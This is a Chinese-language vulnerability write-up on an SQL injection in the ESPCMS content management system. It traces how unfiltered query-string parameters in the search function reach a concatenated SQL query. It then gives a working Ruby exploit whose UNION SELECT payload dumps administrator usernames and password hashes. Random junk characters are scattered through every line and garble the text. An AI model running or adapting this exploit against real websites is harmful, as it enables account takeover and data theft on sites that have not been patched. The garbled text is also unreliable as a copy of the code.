0×0 漏洞概述0×1 漏洞细节3 N9 J% m8 A. w% V
0×2 PoC
7 y7 R2 R5 `2 ~& E
- U& L! a( p- ]2 F. o5 |: l9 L- S( l6 E" `# f
w0 l0 J# m' I8 Y0×0 漏洞概述, a9 _* u4 v) n( a+ `+ F) ]. T5 F
, r5 `2 D( I* o$ g2 i$ k易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。/ a5 \! @: t. q# z
其在处理传入的参数时考虑不严谨导致SQL注入发生2 [& z5 I8 D( ?; b! J3 g" @, M
# B# G5 g% k8 v! P
; E W. j0 g% [& X! p" P
0×1 漏洞细节
. R8 v0 E; @% k7 o( w. e3 W: l+ e4 X+ ~
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
) z; w0 G8 R2 h2 t5 Y; S0 F% q/ t正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
& G" t. J( F: H而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
M% b B5 z7 Y/ |5 L5 y2 g6 H
9 o/ ]1 w9 p6 q# p- S在/interface/3gwap_search.php文件的in_result函数中:& Z4 p) x1 O7 G3 t3 J* u
" }9 h; |6 M3 A" h2 j0 ]9 k( M) S5 b5 r3 c5 D
# d$ @: F9 M% f. {9 a+ z: R6 F4 P
function in_result() {1 E [1 w# I1 `0 i6 ]3 v7 B U, q
... ... ... ... ... ... ... ... ...8 D4 i9 A! G" G
$urlcode = $_SERVER[ 'QUERY_STRING '];- L4 n. Q6 ^8 f2 W+ r2 j
parse_str(html_entity_decode($urlcode), $output);, Z& \& W7 o4 R- O/ M! m# T
! H" x& @, E. j+ T; W& Y* s ... ... ... ... ... ... ... ... ...1 ]( B; i5 @- s, F0 E$ P
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
; d( {5 Q' H) M# p; A3 p# ?9 C5 g7 ~8 s/ l" ^: t. _+ B0 F
$db_table = db_prefix . 'model_att';
~, e8 D: `" F0 |+ X2 _# j* s
foreach ($output['attr' ] as $key => $value) {& u8 c, C( E+ p7 h: c
if ($value) {- f; v( f0 D* E9 J, c4 s
. ^- ~* f3 D/ Z) d( q- X $key = addslashes($key);
' N) X- m2 i6 |! e3 g, D+ J" N1 e7 k $key = $this-> fun->inputcodetrim($key);
2 P; o# w. {$ F, y0 ?9 s; [& a. X $db_att_where = " WHERE isclass=1 AND attrname='$key'";6 K& f3 L( s3 a
$countnum = $this->db_numrows($db_table, $db_att_where);
e7 a' V( g2 z3 j8 p& Q if ($countnum > 0) {7 L- J8 C3 l# F! C- ^" J3 [
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;) f! e0 L# H3 R' H7 M4 S% _
}- r5 V% z: g, S. O7 a
}
; t! a& J- _4 E1 o1 s* x8 m: H( G }' k9 L# k+ J0 a: B, v2 Q
}
$ d" s8 {( L/ N* u) A% r if (!empty ($keyword) && empty($keyname)) {5 O* W0 \* Z. B @
$keyname = 'title';
0 e. X3 P* M. W. _ $db_where.= " AND a.title like '%$keyword%'" ;
! {: D8 ]* q: C/ x* y4 L } elseif (!empty ($keyword) && !empty($keyname)) {7 ], v9 Y5 T7 a' V
$db_where.= " AND $keyname like '% $keyword%'";
6 A' X3 g: w* c. A: m) w }3 c+ m) g+ r* G( w( N) s7 x+ j
$pagemax = 15;0 S, @/ i& P7 k# x! e4 Z( _
2 V# C/ [6 @* N5 X5 U( `
$pagesylte = 1;# H- e6 m( F; Z1 D% D. H- {/ o
$ A- a2 V& j. S7 R2 a$ l if ($countnum > 0) {
, D+ W0 h" G4 m7 ^4 v( h5 z
! l' R+ B. c; Z, }% o $numpage = ceil($countnum / $pagemax);
* B. s+ N/ {- |, k } else {
. {7 E7 I$ g) z2 m% F5 n! r; @ $numpage = 1;( m$ X5 R- q' B# E
}
; `: l. R. N6 t& D9 C, E& W $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
4 d8 A# K- X( f9 H1 _. b } $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);1 n) r) ?7 T' O/ e' J- w
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);- {* x4 ]6 K* l: X. ~
... ... ... ... ... ... ... ... ..., ~3 w7 t+ [/ ]0 w
}
; y q" ~) A8 Y2 E2 b3 d+ s: p3 S* W7 b0 ]+ R; p
# i; h& i# B; X' N# w9 e( ]0×2 PoC
5 P2 E: P$ E) S! p
. f' X' [; o2 i3 ?: |# G1 D& P Q* k7 L
% W- h& K8 F% X* o/ W! W
require "net/http"- T& `' u% M" k; \7 U9 i
) x# Y$ s- v$ M) z7 P( D
def request(method, url)) E/ C' @5 ?, q. K6 [, j1 U
if method.eql?("get")( k5 }; J. X# y# w: I
uri = URI.parse(url)" i, t) C9 M1 ^+ r! n; b
http = Net::HTTP.new(uri.host, uri.port)
0 e3 c# I7 j" O2 M response = http.request(Net::HTTP::Get.new(uri.request_uri))
* i' [6 r% F& w. S% o return response% X& G, Y3 _- Q* d' a
end
" O) E4 l$ N. G0 Hend; k# v) l# M% O" O; @$ @2 d: `
8 W, Y: q8 j# V1 @
doc =<<HERE
$ {/ ~$ s+ q% @2 V4 `-------------------------------------------------------% c P! X6 e2 w0 l
Espcms Injection Exploit
+ ?" Y, C- F* NAuthor:ztz
8 C0 ]! Z' F) u2 g8 p7 J. q1 g9 e* ]Blog:http://ztz.fuzzexp.org/
, Z9 d$ c' @: \5 S3 R9 F5 i3 F-------------------------------------------------------
" w& `& Y( O) _) s$ @$ b; S
# j7 _! A: g) N, UHERE Y$ H( i! b% |
( R" \2 G1 w: g( A, g% _
usage =<<HERE
4 q% r6 G" V+ }& E& KUsage: ruby #{$0} host port path8 @, H3 U; @/ v( @/ K: \& n2 i$ ~
example: ruby #{$0} www.target.com 80 /% @; @- ~# g; S6 l! J7 }' |
HERE
( g `5 l3 }% H1 H; b5 N; ^8 `$ Z+ {) i) n9 o" y
puts doc
, i& c- ^% y$ h5 B4 k' `7 [' Jif ARGV.length < 3, x0 e4 h! H! V" Z0 @) X
puts usage, c* [) C, V3 a, I
else
G5 ~/ [- u/ p( ?7 K) P $host = ARGV[0]
- p- q( J% p, N $port = ARGV[1]
" I& x @+ G3 f1 C3 P7 p3 k $path = ARGV[2]. s- m7 \1 w& Q1 [. N p
* j* ?3 s ~$ h! n
puts "send request..."
6 M. Q; _# r) I; e4 B url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
4 d2 K& i/ S, P: d _: F" e Aattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
% _# N/ X7 X: I. J5 Y0 M9 [,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
5 c: I7 F- ?0 J, I7 [4 U1 {,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23". n4 Q) W. P! w9 f0 a
response = request("get", url)
' v8 o. Q! c; {+ c result = response.body.scan(/\w+&\w{32}/)) g2 r' S6 z4 b7 r3 X. J, M4 [
puts result
. l0 e3 E9 I1 _5 r! Qend2 Q( @8 ^- s3 o
9 A+ B% s) B; t2 t" K* ]2 _% q9 `0 S
|